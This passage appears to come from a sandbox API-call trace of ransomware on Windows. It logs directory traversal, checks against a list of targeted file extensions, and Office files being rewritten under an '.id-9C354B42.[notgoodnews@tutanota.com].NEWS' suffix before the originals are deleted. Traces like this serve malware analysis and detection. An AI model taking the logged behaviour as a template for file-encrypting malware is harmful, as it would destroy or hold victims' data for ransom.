lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.314] WriteFile (in: hFile=0x3c8, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0270.314] SetEndOfFile (hFile=0x3c8) returned 1 [0270.315] CloseHandle (hObject=0x3c8) returned 1 [0270.315] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.315] SetEndOfFile (hFile=0x3d4) returned 1 [0270.339] CloseHandle (hObject=0x3d4) returned 1 [0270.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0270.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd")) returned 1 [0270.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0270.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0270.701] lstrlenW (lpString=".doc") returned 4 [0270.702] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0270.702] lstrlenW (lpString=".docx") returned 5 [0270.702] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0270.702] lstrlenW (lpString=".pdf") returned 4 [0270.702] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0270.702] lstrlenW (lpString=".xls") returned 4 [0270.702] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0270.702] lstrlenW (lpString=".xlsx") returned 5 [0270.702] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0270.702] lstrlenW (lpString=".ppt") returned 4 [0270.702] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0270.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0270.703] lstrlenW (lpString=".zip") returned 4 [0270.703] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0270.703] lstrlenW (lpString=".rar") returned 4 [0270.703] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0270.703] lstrlenW (lpString=".bz2") returned 4 [0270.703] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0270.703] lstrlenW (lpString=".7z") returned 3 [0270.703] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0270.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0270.703] lstrlenW (lpString=".dbf") returned 4 [0270.703] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0270.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0270.704] lstrlenW (lpString=".1cd") returned 4 [0270.704] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0270.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0270.704] lstrlenW (lpString=".jpg") returned 4 [0270.704] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0270.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0270.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0270.704] lstrlenW (lpString=".doc") returned 4 [0270.704] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0270.704] lstrlenW (lpString=".docx") returned 5 [0270.705] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0270.705] lstrlenW (lpString=".pdf") returned 4 [0270.705] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0270.705] lstrlenW (lpString=".xls") returned 4 [0270.705] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0270.705] lstrlenW (lpString=".xlsx") returned 5 [0270.705] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0270.705] lstrlenW (lpString=".ppt") returned 4 [0270.705] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0270.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0270.705] lstrlenW (lpString=".zip") returned 4 [0270.705] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0270.705] lstrlenW (lpString=".rar") returned 4 [0270.705] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0270.705] lstrlenW (lpString=".bz2") returned 4 [0270.706] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0270.706] lstrlenW (lpString=".7z") returned 3 [0270.706] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0270.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0270.706] lstrlenW (lpString=".dbf") returned 4 [0270.706] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0270.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0270.706] lstrlenW (lpString=".1cd") returned 4 [0270.706] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0270.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0270.706] lstrlenW (lpString=".jpg") returned 4 [0270.707] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0270.707] lstrcmpiW (lpString1=".VRD", lpString2=".NEWS") returned 1 [0270.707] lstrlenW (lpString="CALEVENT.VRD") returned 12 [0270.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0271.235] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=2144) returned 1 [0271.235] CloseHandle (hObject=0x39c) returned 1 [0271.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd")) returned 0x20 [0271.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0271.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0271.239] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.239] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0271.240] GetLastError () returned 0x0 [0271.240] ReadFile (in: hFile=0x39c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x860, lpOverlapped=0x0) returned 1 [0271.316] WriteFile (in: hFile=0x1cc, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x870, lpOverlapped=0x0) returned 1 [0271.319] ReadFile (in: hFile=0x39c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.319] WriteFile (in: hFile=0x1cc, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.319] SetEndOfFile (hFile=0x1cc) returned 1 [0271.320] CloseHandle (hObject=0x1cc) returned 1 [0271.320] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.320] SetEndOfFile (hFile=0x39c) returned 1 [0271.328] CloseHandle (hObject=0x39c) returned 1 [0271.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0272.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd")) returned 1 [0272.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0272.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0272.294] lstrlenW (lpString=".doc") returned 4 [0272.295] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0272.295] lstrlenW (lpString=".docx") returned 5 [0272.295] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0272.295] lstrlenW (lpString=".pdf") returned 4 [0272.295] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0272.295] lstrlenW (lpString=".xls") returned 4 [0272.295] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0272.295] lstrlenW (lpString=".xlsx") returned 5 [0272.295] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0272.296] lstrlenW (lpString=".ppt") returned 4 [0272.296] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0272.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0272.296] lstrlenW (lpString=".zip") returned 4 [0272.296] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0272.296] lstrlenW (lpString=".rar") returned 4 [0272.296] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0272.296] lstrlenW (lpString=".bz2") returned 4 [0272.297] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0272.297] lstrlenW (lpString=".7z") returned 3 [0272.297] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0272.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0272.297] lstrlenW (lpString=".dbf") returned 4 [0272.297] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0272.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0272.297] lstrlenW (lpString=".1cd") returned 4 [0272.297] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0272.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0272.297] lstrlenW (lpString=".jpg") returned 4 [0272.298] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0272.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0272.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0272.298] lstrlenW (lpString=".doc") returned 4 [0272.298] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0272.298] lstrlenW (lpString=".docx") returned 5 [0272.298] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0272.298] lstrlenW (lpString=".pdf") returned 4 [0272.298] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0272.298] lstrlenW (lpString=".xls") returned 4 [0272.298] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0272.299] lstrlenW (lpString=".xlsx") returned 5 [0272.299] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0272.299] lstrlenW (lpString=".ppt") returned 4 [0272.299] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0272.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0272.299] lstrlenW (lpString=".zip") returned 4 [0272.299] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0272.299] lstrlenW (lpString=".rar") returned 4 [0272.299] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0272.299] lstrlenW (lpString=".bz2") returned 4 [0272.299] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0272.299] lstrlenW (lpString=".7z") returned 3 [0272.299] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0272.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0272.300] lstrlenW (lpString=".dbf") returned 4 [0272.300] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0272.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0272.300] lstrlenW (lpString=".1cd") returned 4 [0272.300] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0272.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0272.300] lstrlenW (lpString=".jpg") returned 4 [0272.300] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0272.301] lstrcmpiW (lpString1=".VSL", lpString2=".NEWS") returned 1 [0272.301] lstrlenW (lpString="DBWIZ.VSL") returned 9 [0272.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0272.527] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=164216) returned 1 [0272.527] CloseHandle (hObject=0x3ac) returned 1 [0272.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl")) returned 0x20 [0272.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0272.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0272.528] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.528] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0272.530] GetLastError () returned 0x0 [0272.530] ReadFile (in: hFile=0x3ac, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x28178, lpOverlapped=0x0) returned 1 [0272.858] WriteFile (hFile=0x288, lpBuffer=0x4060020, nNumberOfBytesToWrite=0x28180, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0) Thread: id = 73 os_tid = 0x664 [0193.652] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x3ac04c0 [0193.654] lstrlenW (lpString="C:") returned 2 [0193.654] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x36afd00 | out: lpFindFileData=0x36afd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x8fadd0 [0193.655] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0193.655] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0193.655] lstrlenW (lpString="$Recycle.Bin") returned 12 [0193.655] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0193.655] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x3ad04c8 [0193.656] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0193.656] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x36afa84 | out: lpFindFileData=0x36afa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b40 [0193.657] FindNextFileW (in: hFindFile=0x8d9b40, lpFindFileData=0x36afa84 | out: lpFindFileData=0x36afa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.657] FindNextFileW (in: hFindFile=0x8d9b40, lpFindFileData=0x36afa84 | out: lpFindFileData=0x36afa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d8c5a20, ftLastAccessTime.dwHighDateTime=0x1d5d106, ftLastWriteTime.dwLowDateTime=0x1d8c5a20, ftLastWriteTime.dwHighDateTime=0x1d5d106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0193.657] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0193.657] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0193.657] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0193.657] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0193.658] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x3ae04d0 [0193.659] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0193.659] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x36af808 | out: lpFindFileData=0x36af808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d8c5a20, ftLastAccessTime.dwHighDateTime=0x1d5d106, ftLastWriteTime.dwLowDateTime=0x1d8c5a20, ftLastWriteTime.dwHighDateTime=0x1d5d106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8dab88 [0193.659] FindNextFileW (in: hFindFile=0x8dab88, lpFindFileData=0x36af808 | out: lpFindFileData=0x36af808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d8c5a20, ftLastAccessTime.dwHighDateTime=0x1d5d106, ftLastWriteTime.dwLowDateTime=0x1d8c5a20, ftLastWriteTime.dwHighDateTime=0x1d5d106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.660] FindNextFileW (in: hFindFile=0x8dab88, lpFindFileData=0x36af808 | out: lpFindFileData=0x36af808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1d8c5a20, ftCreationTime.dwHighDateTime=0x1d5d106, ftLastAccessTime.dwLowDateTime=0x1d8c5a20, ftLastAccessTime.dwHighDateTime=0x1d5d106, ftLastWriteTime.dwLowDateTime=0x1d8c5a20, ftLastWriteTime.dwHighDateTime=0x1d5d106, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0193.660] lstrlenW (lpString="desktop.ini") returned 11 [0193.660] lstrlenW (lpString=".1cd") returned 4 [0193.660] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0193.660] lstrlenW (lpString=".3ds") returned 4 [0193.660] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0193.660] lstrlenW (lpString=".3fr") returned 4 [0193.660] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0193.660] lstrlenW (lpString=".3g2") returned 4 [0193.660] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0193.660] lstrlenW (lpString=".3gp") returned 4 [0193.661] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0193.661] lstrlenW (lpString=".7z") returned 3 [0193.661] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0193.661] lstrlenW (lpString=".accda") returned 6 [0193.661] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0193.661] lstrlenW (lpString=".accdb") returned 6 [0193.661] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0193.662] lstrlenW (lpString=".accdc") returned 6 [0193.662] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0193.662] lstrlenW (lpString=".accde") returned 6 [0193.662] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0193.662] lstrlenW (lpString=".accdt") returned 6 [0193.662] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0193.662] lstrlenW (lpString=".accdw") returned 6 [0193.662] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0193.662] lstrlenW (lpString=".adb") returned 4 [0193.662] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0193.662] lstrlenW (lpString=".adp") returned 4 [0193.663] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0193.663] lstrlenW (lpString=".ai") returned 3 [0193.663] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0193.663] lstrlenW (lpString=".ai3") returned 4 [0193.663] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0193.663] lstrlenW (lpString=".ai4") returned 4 [0193.663] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0193.663] lstrlenW (lpString=".ai5") returned 4 [0193.663] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0193.663] lstrlenW (lpString=".ai6") returned 4 [0193.663] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0193.663] lstrlenW (lpString=".ai7") returned 4 [0193.663] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0193.663] lstrlenW (lpString=".ai8") returned 4 [0193.664] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0193.664] lstrlenW (lpString=".anim") returned 5 [0193.664] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0193.664] lstrlenW (lpString=".arw") returned 4 [0193.664] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0193.664] lstrlenW (lpString=".as") returned 3 [0193.664] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0193.664] lstrlenW (lpString=".asa") returned 4 [0193.664] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0193.664] lstrlenW (lpString=".asc") returned 4 [0193.664] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0193.664] lstrlenW (lpString=".ascx") returned 5 [0193.664] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0193.665] lstrlenW (lpString=".asm") returned 4 [0193.665] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0193.665] lstrlenW (lpString=".asmx") returned 5 [0193.665] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0193.665] lstrlenW (lpString=".asp") returned 4 [0193.665] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0193.665] lstrlenW (lpString=".aspx") returned 5 [0193.665] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0193.665] lstrlenW (lpString=".asr") returned 4 [0193.665] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0193.665] lstrlenW (lpString=".asx") returned 4 [0193.665] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0193.665] lstrlenW (lpString=".avi") returned 4 [0193.666] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0193.666] lstrlenW (lpString=".avs") returned 4 [0193.666] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0193.666] lstrlenW (lpString=".backup") returned 7 [0193.666] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0193.666] lstrlenW (lpString=".bak") returned 4 [0193.666] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0193.666] lstrlenW (lpString=".bay") returned 4 [0193.666] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0193.666] lstrlenW (lpString=".bd") returned 3 [0193.667] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0193.667] lstrlenW (lpString=".bin") returned 4 [0193.667] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0193.667] lstrlenW (lpString=".bmp") returned 4 [0193.667] lstrcmpiW 